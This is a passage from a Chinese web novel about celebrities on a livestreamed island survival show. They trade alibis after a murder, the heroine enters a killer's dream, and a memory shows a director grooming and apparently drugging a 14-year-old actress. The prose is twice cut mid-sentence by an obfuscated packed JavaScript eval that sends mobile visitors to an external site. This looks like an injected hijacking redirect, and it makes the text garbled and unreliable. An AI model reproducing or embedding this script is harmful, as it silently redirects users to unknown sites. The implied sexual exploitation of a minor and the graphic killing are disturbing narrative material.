[万一再有人死掉怎么办?哥哥你一定要平安呜呜呜] …… 卜思雨抿了抿唇,说:“我觉得…我们还是捋一下案情,排除一下嫌疑……” 杜小凡那双大眼睛诧异地看了她一眼。 看什么? 卜思雨暗恨道,虽然自己的确干过不少缺德事,但都是意识层面上的,抢资源、抢机会、把人名声搞臭……杀人的事,她可从来没干过! 就是让她杀只鸡她也不敢啊! “思雨说得对。”萧铭点头同意,“我回想了一下,闫博士是从游戏中途说要离开的,那时候,他说的是……” “他说他要尿个尿。”贾高逸哑着嗓子说,“我还说他堂堂博士,这么粗俗,谁成想……” 贾高逸用力抓了下头发。短短一天半,接到两个死亡消息,他似乎有些承受不住了。 “接着就是积分排名公布。”陈英喆回忆道,“排名公布后,闫博士还打招呼呢,说他找到了稀有植株,要去看一看。” “也就是说,中场休息前,闫博士还没有死。”阚炆直截了当地做了总结,“中场休息后,闫博士就再也没有回来过。” 双星晖也回忆道:“中场休息之后,大家就继续玩游戏了,整场都没有人再离开过……如果要杀闫博士,只有这个时间段有可能。” “那么中场休息就是关键了?”燕南菲蹙眉道,手指一下下敲击着膝盖,“中场休息……大家都离开了营地,只有我和裴姐呆在营地里聊天……” 李若水干脆道:“这样吧,所有人都说一下自己中场休息在干什么,拿出一个不在场证明,唯有这样才能洗清自己的嫌疑。” “行。” “可以。” 大家纷纷同意。 这个时候,谁还会不同意?这个提议简直就是及时雨,大家恨不得把脑花掏出来摆在全球观众的镜头下面,以示自己的清白。 “狄导,您是前辈,您先说吧。”萧铭向狄马致意。 狄马点点头:“我是和阿铭、双董在湖边抽烟聊天,一直聊到回来继续游戏。这个,全球观众也可以证明,我的摄像头是全程没有关闭的。” …… 网友们立即举手表态。 [对,我作证,狄导没有撒谎,我当时在看他的直播间。] [那这么一来,萧哥和双星晖的嫌疑也没有了,因为他们三个在一起,可以互相作为不在场证明人。] [呼,可算松了一口气,我就说我哥不可能的。] …… “下一个,谁来说?” 24. 不在场证明 双星晖拍拍曹拓的肩膀,生疏地对他打了几个手势。曹拓也以手势回复。 结束手语对话后,双星晖站了起来。 “我来替我弟弟发声,”他说,“我弟弟说,那时候他正在帐篷里睡觉……总不会有人睡觉时还开着摄像头吧?” “没有摄像头,谁可以证明?”阚炆质疑。 双星晖挑了挑眉:“当时营地里有很多人在,他们都可以证明。” “没错,”萧铭说,“我进去帐篷里找东西,确实看见了曹拓在睡觉。” 想了想,他又补充道:“小凡当时正跟我说要去上厕所,我还对小凡说,小点声,不要吵醒他。” 杜小凡茫然地点点头:“……是有这么回事。” 阚炆漆黑的眼睛盯在他们之间来回打转,沉思片刻,又道:“谁能保证他一直在营地?如果他中途醒来去了其他地方,中场休息那么长时间……也是有作案时间的。” 这句质问虽不无道理,但委实有些鸡蛋里挑骨头的意味,双星晖一向温文尔雅的脸色变得气急败坏:“阚炆,你有气冲我发,搞我弟弟一个残疾人算什么本事?!” 阚炆也站起身,眼神十分冰冷:“他必须拿出证明,否则他的嫌疑不能抹除。如果你觉得合理的案件疑问叫做针对的话,我也无话可说。” 两人一时剑拔弩张。 “好啦,好啦。”裴婉命上前拉架,“都冷静点,孩子们,现在是团结的时候,不要起内讧。” 她扯开双星晖的手肘,拉着阚炆的小臂,说:“我可以给这个曹、曹拓是吧?……我可以给他证明。” 她回忆道:“我和南菲一直在营地聊天,看我女儿的节目,中途我们只起身上了个厕所,离开了十分钟左右……” 想到这里,她自己也觉得不太可能:“小阚,没有人能够在十分钟之内从营地到树林,杀掉一个成年男人,然后又返回营地,这不可能做到的。” “何况,上完厕所回来,我们正碰上小曹睡醒出来,我还跟他说了会话。” 自从曹拓把头发扎起来后,那张清秀的面孔也吸引了一部分路人,此时纷纷站出来为他说话。 [对阚炆真的路转黑了,就因为私仇,一直针对一个哑巴,这像话吗?] [我要是双董,我就揍他,不能允许别人这么侮辱我的家人。] [你们真是无脑黑,老阚是谨慎好吗,不想错过任何一丝线索。] [线索呢?线索就是哑巴十分钟之内杀了个人又回来了?这不是搞笑么!] …… 阚炆盯着裴婉命看了一会儿,确认在她脸上没有找到撒谎的迹象后,点了点头,坐了下去。 裴婉命温和地说:“那我和南菲的嫌疑也可以解除了?就像我刚刚说的,我们一直在营地聊天,摄像头也只有上厕所的时候遮挡了一会儿。” [我姐真的好优雅,一副风雨欲来清风拂山岗的样子。] [出道这么多年了,姐姐好像从来没有失态过……真是气场稳定啊……] [解除嫌疑!我举双手宣布给我姐解除嫌疑!] 燕南菲道:“裴姐说得没错,我就不再重复了。” 两两证明,流程走得飞快。 轮到卜思雨,她却有些磕磕巴巴:“呃……我、我是上厕所去了。” 阚炆眯了眯眼:“那么长的时间,一直在上厕所?上完厕所不回营地?” 未来网友们也出来吃瓜。 【对啊,这个卜思雨有点可疑吧?】 【我看不像,她还晕倒了,哪个杀人的胆子这么小?经常杀人的朋友都知道,杀人是很容易上瘾的。】 【楼上,你在说什么?】 【卧槽楼上,救命啊,有没有网管查查他的IP地址啊!】 …… 【会不会就是她杀了闫文清,然后贼喊捉贼,假装昏倒?】 一片混乱里,有弹幕弱弱地说。 不无可能。李若水看着这些弹幕,眼睑收紧。她现在无法排除任何一个可疑人士的嫌疑。 连萧铭都皱了皱眉:“思雨,谁能给你证明?” 卜思雨嘴唇还是苍白的,辩解道:“萧哥,我不可能自己杀了人,然后自己吓晕,自己提出来要捋不在场证明吧?我又不是傻子!” 心里却是欲哭无泪:我还真是个傻子! 怎么就忘了,自己是去树林里鬼混了,摄像头也遮住了,根本拿不出不在场证明! 该死的,死嘴,提什么不在场证明啊?是不是嫌自己死得不够快? 卜思雨急得满头大汗。 萧铭摇头:“思雨,你这样是没办法排除嫌疑的,中场休息时大家都四散在各处,离营地也很远,互相看不到动向,谁也没法证明你说的是真话。” 一直沉默的贾高逸开口了:“我可以给思雨做证。” 他有气无力地说:“我去树林遛弯散步,看到思雨了,她估计是不太舒服,坐地上喘气呢,我还问了她几句……她估计是忘了。” 卜思雨一愣,随即反应过来:“对,是有这么回事,我当时是低血糖犯了,贾老师问我要不要吃点东西,我给忘了。” 贾高逸应该不会说谎的。 李若水对他在卡牌游戏里一路绿灯印象深刻,他给卜思雨作保,应该是真话…… 虽然贾高逸这个证明来得太巧合,但无人质疑,昨晚刚死了亲儿子,谁会有心情去给非亲非故的娱乐圈同事撒这个谎? 卜思雨的嫌疑,暂时解除。 司理群见众人的目光投向他,愣了愣,说:“我当时是和嘉荧去散步了,顺便商量找她演下一部戏的事。” 余嘉荧点点头。 陈英喆紧跟着说:“我本来在岸边坐着听歌,后来若水姐和阚炆哥来了,我把位置让给他们,就去沿着岸边散步了……我还跟狄导和萧哥打了个招呼。” 狄马替他证明话里的真实性:“没错。” 李若水延续陈英喆的话接着往下说:“我和阚炆一直在岸边聊天,中途陈英喆回来拿过一次CD机,我们可以互相证明。” 一一证实完毕,还剩最后一人。 杜小凡脸涨得通红:“我、我也是去上厕所了,跟思雨姐一样。所以摄像头也关掉了。” 阚炆蹙眉:“上什么厕所需要那么久?” 这话让杜小凡的脸红到爆炸。 [笑死了老阚真的是直男,就这么大大咧咧问出来了。] [调理不好了,真的调理不好了。] [但是大家别转移话题啊,中场休息那么久,杜小凡就算是拉肚子也不可能呆那么久啊。] [如果有人给她证明还好,如果没人证明……] 阚炆继续问:“有谁能给你做证明?” 杜小凡咬了咬唇,一副快要哭出来的样子:“没有,我没遇到任何人……但是我说的全都是真的!求求大家相信我吧!” 一时之间,帐篷里陷入了沉默。 牵涉到人命,谁也没办法拍着胸脯打保票,说杜小凡就是没做杀人害命的事。 [我服了,哭哭哭,哭个屁啊,现在人死了,大家都有证明,就你没有,不怀疑你是个鬼啊。] [所有人的不在场证明都很明确,只有她……] 杜小凡见没人搭理她,哇的一声就哭了出来:“闫博士真的不是我杀的,萧哥,阚师兄,你们相信我!我跟闫博士无冤无仇,我怎么会杀他呢?” 阚炆无动于衷:“你先解释你到底为什么要在树林里呆那么长时间的原因。” 杜小凡哭着说:“我、我、我……我是身体不舒服!” 此话一出口,她便意识到自己找错了借口。 果然,阚炆的脸色更加严肃。 “这么巧,你和卜思雨都是上厕所突发身体不舒服?” 众人的目光也流露出怀疑与警惕。 [受不了了,阚炆干嘛逼一个小女孩啊。] [楼上收收你的脑残圣母心行吗?现在的情况是,所有人都有不在场证明,只有你家凡凡没有,而且她的理由那么牵强,一听就是编的,不怀疑她怀疑谁?] [有没有听过一句话,真相只有一个,排除掉所有不可能,剩下的那一个即使再不可能,也是正确答案。] [不会真的是她杀的吧?可是她怎么会跟闫文清在树林里见面?] [我早就听我圈内的朋友说杜小凡的上位史也不太干净,孤男寡女的,谁知道在树林里见面干什么。] 见弹幕越说越难听,萧铭站起身打圆场:“小凡,你也别太紧张。现在只是在排除嫌疑,不是定罪,所有的证词只是作为找出真凶的线索。” 狄马说:“是啊,不能光凭一个推断就给人冠上凶手的名头。” 他推开凳子,站起身:“今天一天大家都累了,先休息,睡一觉再说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467450|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大家都各自去翻找行李,只留下杜小凡独自一人呆呆地站在原地。 李若水拿着睡衣路过她走向睡袋。 杜小凡忽然动了,一把拉住李若水,哀求道:“若水姐,不是我,真的不是我!” 看着她泛着泪花的双眼,李若水叹了口气,说:“别哭了,先睡,睡一觉起来再说。” 她当然相信凶手不是杜小凡。 这么些天,旁侧观察一通,李若水认为,杜小凡在这个求生团队里应该是属于名气乍红,却根基薄弱的地位。 杜小凡年纪小,刚出道,有偶像包袱,又是个女孩,天然不具有陈英喆那样的机灵讨巧。 在树林里失踪,却没有人为她的行踪感到焦急,也没有人第一时间赶去救援,她的生命安全,整个团队里无人关心。 这些都足以证明,在这里,她没有交好的人。所有人对她都是客客气气,虽然交谈甚欢,但远非亲近的程度。 在象、虎、狐狸、狮子、豹、豺狼…等众多猛兽里,杜小凡,就是那唯一的一只羊。 这也导致——杜小凡的嫌疑最大,其实是所有人都喜闻乐见且乐于接受的一个结果。 可以预见,在杜小凡无法彻底洗清嫌疑之前,她将会迎来很长时间的孤立与网暴。 这是必然的结果。 李若水望着白色的帐篷顶,雨水滴滴答答地打在上面,发出沉闷而杂乱的声音。 白色的帐篷顶上,正飘着五颜六色的弹幕。 【杜小凡长得那么可爱,居然是杀人犯!真不敢相信。】 【还没有定论呢。话说……我刚看到SVNT公告提示直播间开启了新的技能共赏功能,那是什么功能?】 【不知道,我问了客服,客服只跟我说,这个功能的开启是随着主播的使用自动开启的。】 【使用?什么使用?】 【不知道哇……】 【凶手不是杜小凡。】 葱绿色弹幕突兀地出现。 【哇,葱绿大佬,欢迎欢迎!】 【大佬最近来得很频繁哇,快成主包忠实粉丝了吧?】 【大佬,为什么说杜小凡不是凶手?只有杜小凡没有不在场证明啊。】 【因为,在原先的历史时间线里,杜小凡被毒蛇咬死之后,闫文清还是死了。】 葱绿大佬用一句话概括。 【原来如此……】 【等等,原先的历史时间线,那是什么意思?我们现在看到的,已经是更改后的时间线了?】 【……】 【对不起,公务在身,心系百姓,我先走了。】 葱绿色弹幕原地消失了。 【大佬,别走啊大佬!】 【总感觉大佬有什么事情瞒着我们……靠,好好奇啊!!!】 躺在睡袋里,李若水睡意全无,她脑海里总浮现出闫文清死时的脸,以及他后脑勺上的那道伤口。 凶手,到底是用什么凶器杀掉了闫文清? 不知道为什么,她很在意这个问题。 是石头,还是树枝,还是什么其他的钝器? 想着想着,李若水的眼皮越来越沉重,像被胶水黏上,快要睁不开了…… 就在这时,她听到一声冰冷的机械音,这声音像是一个金属棒,在她脑花里搅动,搅得她头痛欲裂。 “检测到宿主困意达99.99%,技能‘今夜我将偷偷潜入您的梦里’已开启,观众共享已点亮,祝您使用愉快。” …… 白色的天花板开始旋转、晃动。 李若水头更痛了,就像刚通宵喝完酒一样,整个身体都有一种被掏空的感觉。 她摇摇摆摆地站起身,才发现自己是睡在一张破旧的沙发上,打量四周,这是一个疑似小旅馆的标间,窗帘被拉得严严实实,桌上的烟灰缸里堆满了烟头,整个房间一股馊味。 李若水走到桌前,从空瘪的烟盒里倒出一根烟,叼在嘴边,用打火机点燃。 等等、等等!我怎么会在抽烟? 李若水惊惶失措,她可是从来不抽烟的啊! 可是手并不受大脑控制,烟被塞进嘴里,深吸一口,又享受地吐出一个烟圈。李若水感受着肺部被尼古丁充斥所传来的舒服和喜悦。 这时,她才意识到,这不是她的身体,她也不能控制这具身体。 她这是进入了别人的梦! 25. 谁的梦境 【卧槽!】 弹幕一声惊呼。 【妈妈我是不是做梦了,怎么突然换地方了?】 【好高级啊,这是哪里?李若水的梦吗?】 【不知道,先看看再说……】 李若水一口接着一口吸着烟,她能感觉到,她现在非常亢奋,躁动地在这个狭窄封闭的标间里走来走去。 因为她知道,她已做好决定,将要有什么改变她生活的大事发生…… 吸完烟盒里的最后一根烟,她把烟头按进烟灰缸。 从桌底下拖出一个巨大的包,她哼着歌,吃力地拎着包,踱步打开标间的门,出了旅馆,招手拦下一辆出租车。 出租车停在小区门口,她下了车,轻车熟路地进了小区,上了楼,掏出钥匙打开房门。 进门的右边就是厨房,有个瘦高的年轻男人,正系着围裙,背对着她在洗菜。 她把包袋放到沙发上,手伸进口袋,口袋里有个长条形的硬质物体,那是什么呢……什么东西需要放在口袋里呢? 脚步声,轻轻地、轻轻地贴近了那个男人。 手缓缓捏紧了口袋里的物体,男人似乎察觉到身后有呼吸声,头微微一侧,想要转过头来。洗菜池前的窗户外,阳光普照,他的侧脸被光罩上一层金色光线,什么也看不清。 只在一瞬间,她已经掏出口袋里的锤子,重重地锤向男人的后脑勺! 男人一声痛呼,但第二锤已经接踵而至,第三锤、第四锤……一锤砸得比一锤重,她似乎和这个男人有深仇大恨,要把他脑袋锤得稀巴烂才甘休。 终于,男人朝着厨房的水池倒了下去,脸朝下,沉入了洗菜篮。 菜篮里泡着新鲜的青椒、小青菜、西红柿,还有一些活虾,正在奋力挣扎。 终于死了,终于死了……从此以后,她想做的事,再没人可以阻止她。 她颤抖着手,从菜篮里捞出一只西红柿,用手指慢慢地揩去番茄皮上的水渍,吃了一口。 - 猛地睁开眼皮,额头上已是冷汗涔涔。 如果不是弹幕惊恐的发言,她几乎要以为刚刚经历的是一场幻觉。 【我吓得屁滚尿流,这什么恐怖杀人现场!】 【什么?来迟了,什么杀人现场?李若水杀人了?】 【不是,肯定不是李若水,不知道SVNT搞的什么鬼名堂,好像是入了别人的梦,我们也能看得见。】 【我也觉得不是李若水,那个烟抽得那么凶,一看就是老烟民。】 【死变态,最后还吃了带血的番茄,真是变态到我平生所未见。】 【如果这个人是杀过人,又来上节目,那么闫文清很有可能就是他杀的。】 …… 李若水跟未来网友的想法不谋而合。 杀人,需要胆量、技巧还有经验。 杀掉闫文清的人,在众目睽睽之下,一夜之间就杀死了一个成年男性。技法娴熟,无声无息,堪称狠辣。 这个人,绝对不是第一次杀人。 甚至可能是连环杀人犯。 如果不快点把这个人揪出来,其他人的处境也会很危险。 可是……她努力回想刚刚的梦境,找不出任何可以辨认身份的关键性细节。由于是入梦,一切都是主观视角,她看不到这个人的容貌,也不知道这个人是男是女,只有脑海里的情绪可供回味。 想到这里,李若水嫌弃地呸了一声。 什么狗屁变态情绪。 杀了人还吃番茄……真是死变态! 天蒙蒙亮,李若水钻出帐篷,门帘刚一打开,狂风就带着惊人的寒意肆虐而来。 “啊——” 张开嘴,想打喷嚏,却打不出来,最后只能无奈地揉了揉鼻子作罢。 她搂紧身上的印花睡衣,想再走远点,看看树林里的泥泞状况,却看见有人孤零零坐在岸边,浑身犹如在水里浸泡过一样。 是杜小凡。 李若水大步走过去,见她的黑发已经湿成绺,搭在肩头,湿得往下滴水。略一回想,想起昨天压根没见她进帐篷,便知道她是在这里坐了一夜。 “你要冻死在这里吗?” 目光扫过她的短裙,李若水心头怒意丛生,将摄像球捏紧在掌心,“我冒着危险救了你,你就这样糟践自己?” “现在没有食物,没有水,没有药,一点小小的感冒发烧,都可能会断送你的命。”李若水脱下睡衣外套扔在她身上,“这个天穿短裙,你知道你会失温而死吗?” 杜小凡抱紧双臂,瑟瑟发抖,在寒风中抬眼看她,乌黑的睫毛上还挂着水珠。 “若水姐,我实在是不想进去,我好害怕……我怕看见那些弹幕,也怕看见别人的眼神。” “我看见网友说的话了,他们说我上位史不太干净,说我和闫文清在树林里厮混,我误杀了他……还有人连马上风都说出来了。” 她仰着脸,双目无神地说,“不是我想穿短裙,是我没有带其他的衣服……” “……我经纪人说,我这张脸吸不了什么女粉了,既然如此,就要把现存的男性粉丝巩固住,主攻男粉市场,把‘荒岛湿身’作为卖点打出去。” “放屁!你这什么狗屁经纪人!” 李若水勃然大怒。 “老娘一锤子捶死她!把她脑壳打烂!” 话说出口,她才反应过来自己说了什么。 ……草,防不胜防,还是被杀人魔情绪上身了! 淦! 李若水冷静了一下,继续说道:“如果你真的想摆脱困境,就应该一五一十告诉我,你当天在树林里到底做了什么,为什么停留那么长时间。” “只要你做过什么,不可能不留下线索,我们可以用这个线索,证明你没有杀人……” “没有用的,若水姐。”杜小凡打断了她的话,“我不能说。” “如果说出来,我还不如去死。” 李若水愣住。 身后传来窸窸窣窣的响声,其他人已经陆续醒来。杜小凡把睡衣塞到李若水怀里,向远处深绿的树林走去。 回到帐篷,众人已经穿戴完毕。 狄马朝远处探了下头:“那是小凡吗?她怎么站在雨里?” 李若水摇了摇头:“随她去吧……今天有什么计划?” 萧铭说:“今天我们必须挖出求生物资,然后迁移营地,朝岛的出口前行。” 大家都没什么意见,既然决定了要往前进,与其在这里浪费时间,还不如主动创造进度。 相比营地,树林里更加阴冷,台风带着把人吹倒的气势一路狂吹。 卜思雨只有八十几斤,被风一吹,要不是抓住身旁人的胳膊,差点摔倒在地。 这么一抓,才感觉到手里扎扎实实的触感,她瞅了眼面不改色的曹拓,嗔道:“双董,您弟弟倒是挺有远见,穿了件高领毛衣,冻死谁也不会冻死他。” 众人不由瞥向曹拓,他的夹克下面果然是一件厚厚的高领毛衣,看起来十分暖和。 双星晖笑道:“他一向懂得照顾自己,这点我是不用操心的。” 他们按照地图的指示走走停停,果然在树林深处挖到了节目组埋藏的求生物资袋。 蓝色的求生物资袋里是七八瓶矿泉水和一些透明雨衣,黄色的求生物资袋里是一些压缩饼干、军用罐头,还有一些肉脯,绿色的物资袋里是迷彩烟、以及一些医疗用品。 陈英喆双眼发光:“有吃的了!太好了!” 找到物资后,大家面色都好看很多,最起码……温饱问题是解决了。 中午,就地在树林里解决午餐。 找了一块平坦的土地,搭了一块塑料布,套上雨衣,就在惹人烦的雨声里胡乱果腹。 自从前天晚上那一顿之后,所有人就一直饿着肚子没吃东西,此刻已经饥肠辘辘,矿泉水就着饼干和罐头也吃得香甜无比。 这些人自打进了娱乐圈之后,就没怎么吃过苦,参加这个节目恐怕是他们大半辈子吃过最大的苦。 杜小凡没精打采地坐在雨里,只拆开一瓶矿泉水,小口小口地抿着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473649|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李若水起身拿过一盒金枪鱼罐头,塞进她手里:“没胃口也不能只喝水吧?多少吃点。” 杜小凡愣了一下,含糊地“嗯”了一声,打开罐头的塑料盖子。 罐头盒的金属内盖压得很紧,杜小凡怎么打也打不开,环顾四周,见众人都在谈笑风生,抿了抿唇,手上更加用力地撬起盖子。 “刺啦——” 盖子撬开一个小口,杜小凡的手也被割破了好大一道口子,血蹭蹭地往外冒。 她疼得眉心蹙起,刚要惊叫,却又生生把叫声咽了下去。 这个时候,本来自己的负面舆论已经够多了,要是再出点状况,还不知道别人会怎么看她。 正发着愣,罐头已经被李若水拿走,随后递过来另一盒已经被打开的罐头、一只黄色创可贴。 “你吃这个吧。”李若水干脆地说,“这个我来处理。” 杜小凡结巴道:“可、可那上面有我的血……” 李若水做了个嘘的手势,杜小凡声音也低了下去。 她不想被别人知道……她浪费了一盒罐头。 其他人正在欢声笑语聊天,压根没注意到这里。 李若水用树叶包裹着盖子的边缘,细细擦干净上面残留的血液。 “裴姐,你吃饱没?”那边陈英喆问,“我这里还有番茄肉丁罐头。” “番茄?” 裴婉命惊喜地重复了一遍。 “快给我尝尝,我最喜欢吃番茄了!”她感叹道,“几天没吃了,我快想死番茄了。” 陈英喆笑着把番茄罐头递过去。 舀起一勺番茄肉丁,柔滑酸甜的滋味让裴婉命喟叹出声:“太好吃了,太太太好吃了!” [我笑死了,裴姐好像八十年没吃过番茄了。] [看得出来你裴是真饿了,这种难吃的军用罐头也能吃这么起劲。] [老粉都知道,裴姐确实喜欢吃番茄,一切番茄口味的菜她都爱吃,她朋友都知道她爱吃,每次去朋友家做客,桌上必有这道菜,也是很宠她了。] [裴姐:番茄?番茄就是那种好吃到旁边死了个人都不知道的东西。] 燕南菲哈哈大笑:“裴姐,网友说你吃番茄吃到旁边死了个人都不知道。” 裴婉命也跟着不好意思地笑。 番茄…… 李若水听着他们的对话,也不由微微一笑。 番茄……番茄?! 李若水手一抖,金属内盖的锋利边缘割破了指腹,瞬间涌出一小股鲜血。 她顾不上蚂蚁蛰咬般的轻微疼痛,双眼直勾勾地望向那边笑容温柔甜蜜、宛如少女般面颊红润的裴婉命。 那笑容一贯是和蔼而优雅的,可是现在却让李若水心中止不住一阵战栗。 就在这时。 “叮!——检测到宿主血液与杜小凡血液交融度达99.99%,技能‘随着血液流淌至深处的是我的珍藏回忆’已开启,观众共享已点亮,祝您使用愉快。” 熟悉的冰冷机械音在耳畔响起。 什么意思? 李若水回想着那晚雨夜在她耳边响起的提示音。 好像……是说,她获得了两个技能。 其中一个她昨晚已经体验到了,是被动进入别人的梦境。 那么另一个则是……通过对方的血液,进入对方的回忆? 梦境可能真,也可能假,可能是臆想出的场景,也可能是真实情境。 但回忆就不同了,是实打实发生过、客观存在的事。 这个技能好啊!比入梦技能实用多了,入梦技能是被动的,并且不知道使用对象……李若水凝视着指腹冒出的血珠,在心里推敲着,如此一来,她就能够主动创造机会进入指定对象的回忆。 虽然难度是大了点…… 要神不知鬼不觉让别人出血,可不是件容易的事…… 眼前的雨天一色、浅绿的草丛、深绿的树叶,杜小凡关切的面容,都逐渐地溶解模糊。 “即将为您读取——杜小凡的回忆。” 26. 暗绿回忆 穿过白色的水晶珠帘,模糊的绿色变得清晰。 “这是王良奥导演,”经纪人右手边站着一位穿绿色西装的男人,“小凡,快打个招呼呀!” 说完,便喜笑颜开地转头对男人说:“王导,小凡之前参加过达摩诀的试镜,不知道您还记不记得她?” 杜小凡抿了下嘴唇,含蓄地道:“王导您好。” 面前的男人戴着黑框眼镜,两腮的肉堆得快要溢出来。fenshcoz这件暗绿色印花西装,明明是很古典贵气的款式,却硬是被他穿得像个带大金链子的暴发户。 可是杜小凡无论如何也不敢表露出一丝一毫的轻慢。 虽然长了一副脑满肠肥不起眼的模样,王良奥却是行业里响当当的传奇人物。 帝国娱乐圈的话语权常年被第一区两大高校——帝国电影学院和帝国话剧学院牢牢把持和垄断,令其他派系的学生叫苦不迭,而王良奥一个非科班出身的导演,如今却已坐上电视剧圈头把交椅。 足见其背后能量之大。 酒桌上,经纪人再三劝酒,杜小凡也频频敬酒,每一次都是一喝一杯,杯底倒过来,一滴剩酒都没有。 王良奥果然很高兴:“哎呀,真听话!你看这一瘦下来,壮实感立刻没有了,那种易折感、脆弱感也出来了,跟小时候一模一样。” 小时候? 杜小凡很惊讶:“您见过我小时候?” “是啊,”王良奥的手掌覆上她的手背,“还记得吗?星星孩子。” “你小时候参加过星星孩子的试镜,那个时候我就觉得你很有潜力,看到你名字的时候,我还想这孩子的名字真好记,朗朗上口的……杜小凡,杜小凡,多好念!” 那只手在手背上不停摩挲,杜小凡强忍不适,作出惊喜的样子:“啊!那是我小时候参加的试镜,原来导演就是您?” 经纪人笑着插话:“那个试镜还是我推荐她去的,没想到王导和小凡的缘分这么早就结下了。” 副导说:“那是我们王导的入行综艺,后来即使那个节目根本回不了本,王导还是不忘初心,一直坚持办下去,近两年才停了。” 王良奥站起来,搂住她的肩膀,脸几乎要贴上她的脸颊:“我和小凡有缘……有缘!必须拍照纪念!” 他嘴里的酒气熏得杜小凡简直想逃离,可还是咧嘴展开了一个甜美的笑容。 经纪人一只腿半蹲,一只腿横跨在地上,整个人几乎要匍匐下去,手机极力向上仰:“这么拍好看,显瘦……哎哟,真登对!不知道的还以为王导和我们小凡是亲兄妹呢!” 合照结束,杜小凡坐在桌上,夹了一筷子绿色蔬菜,放在嘴里慢慢咀嚼着,听王良奥夸夸其谈。 “这个达摩诀啊,是咱们近期最期待的S级项目,投资方有及星,还有一些业内比较不错的公司,还有我的好朋友……” 王良奥对副导演一扬下巴:“牛志鹏和他夫人裴婉命,那真是一听这个项目要开,巴巴地跟我们副导说,抢着要投资……都知道,稳赚嘛这不是!” 他边说话,边在桌下圈着杜小凡的手腕,紧贴着她讲话,热气喷在杜小凡的侧脸上:“演员呢,我们也挑了一批有名的、戏很不错的……比如说卜思雨,还有那个那个谁……老贾!我的好兄弟,贾高逸,他的戏有多好你们也知道。” 经纪人喜笑颜开:“这个项目可真是厉害,群英荟萃啊,王导,能八卦一下吗?男主是网上传的那位吗?” 她嘴型不发声地说出一个名字。 “不是!”王良奥不屑地摇头,“那小子算什么呀,拿个青羊奖提名而已,一副鼻孔看人的样子,业内早有人看他不顺眼了。” 经纪人迷惑:“那男主是?” 王良奥也做出一个口型,经纪人倒吸一口凉气,捂住嘴巴:“居然是他!他近些年都不怎么拍戏了,怎么请到他的?” 王良奥笑而不语。 副导站起来举杯:“这就是我们王导的本事了,要是没有王导,这么好的项目和阵容能开得起来吗?” 经纪人连忙招呼杜小凡:“对对对,小凡,咱们一起敬王导一杯,王导之前对你的形象不满意,现在又重新给咱们一个机会,真是得好好感谢王导!” 杜小凡忙不迭站起来,因为站得太急,打翻了红酒杯,红酒在桌上洇开一大片,顺着桌沿流下来,滴滴答答地落在裙摆上。 “对不起,王导。”她忙道歉,“我提前退场吧?这样太失礼了,我去换身衣服。” 刚要转身,就被王良奥拉住手臂。 对方脸上的每一条皱纹都舒展开了,笑得开怀又愉悦:“没事,小凡,来来来,你回来……快坐下,都是自己人,还讲究这个干什么?” 杜小凡被他拉着又坐下,眼底迷茫又有几分惊恐。 王良奥喝了口酒,持着酒杯晃动杯底的酒液,意有所指地说:“好酒来之不易,得细细品呐。” “就像达摩诀这种好饼,不付出常人所不能付出的代价,怎么能轻易吃到呢?”他朝一脸惊慌失措的杜小凡笑了笑,“是吧?” …… 酒局结束,杜小凡数不清自己喝了多少杯酒,总之脚已经绵软无力,仿佛踩在棉花上,头也轻飘飘的,说不出的亢奋感。 几人一起送王良奥到酒店门口,司机已经停好车在大门处等待。 经纪人用手挡着车门防止王良奥撞到头,关切地问:“王导,您喝成这样,一个人能行吗?本来我该送您的,可惜我待会还有事……” 王良奥醉醺醺地指向副导演:“不用,不用,让他送我就行。” 副导演面露难色:“王导,真不好意思,我老婆刚刚打电话来了,说我家小孩今晚上吐下泻的,我得赶紧回去看看去。” “哎?”他刚想起来似的,转头看向杜小凡,“要不这样,小凡,你送送王导吧?” 什么? 我怎么能送王导?我自己都醉成这样……杜小凡脑子晕晕乎乎,拒绝的话还没说出口,已经被经纪人和副导演塞进了车后座。 门锁咔哒一声锁住。 车里满是浮动的香薰味,这股幽香芬芳扑鼻,她从没闻过这个味道。 不知道是哪个牌子新出的香薰……杜小凡瘫软在后座,迷迷糊糊地想着。 车在高架上飞速行驶,前后座之间的隔板已经放下,后座变得昏暗,只有外间高楼大厦万千灯火隐隐约约透进来的一点光线。 “你今年多大?”王良奥问,“还没成年吧?” “嗯……”杜小凡神志不清地回答,“我今年十五岁。” “哦。”王良奥的面容模糊在黑暗里,声音带上一抹笑意,“虚岁实岁?满十四了?” “是的。十五是虚岁,实岁十四。” 杜小凡如实回答。 王良奥笑意更深:“我眼光还是准的,你小时候就是万里挑一的好看。但是你不能胖,一胖就显壮实,特别成熟。女孩子嘛,还是瘦点好看。” 胖点显成熟,那瘦点是什么? 杜小凡心里觉得有什么地方不太对劲,但是晕眩的脑袋已经无法思考。 昏暗的幽香里,王良奥的手掌轻轻抚上那片被酒红染色的裙摆。 “裙子脏了,没关系。”他说,“送你条更好看的,更适合你。” …… 车在城市另一头的酒店停下。 唯一不同的是,这家酒店主打养生的招牌,有花园,有温泉,位于偏僻的别墅区,只接受预订的熟客,鲜有生人踏足,更幽静,更隐秘。 王良奥下了车,踉跄几步,对杜小凡招手:“小凡,过来扶我一下,真是……站都站不稳了。” 杜小凡看着种满鲜花的幽径,咬了咬唇,下意识觉得不该下车。 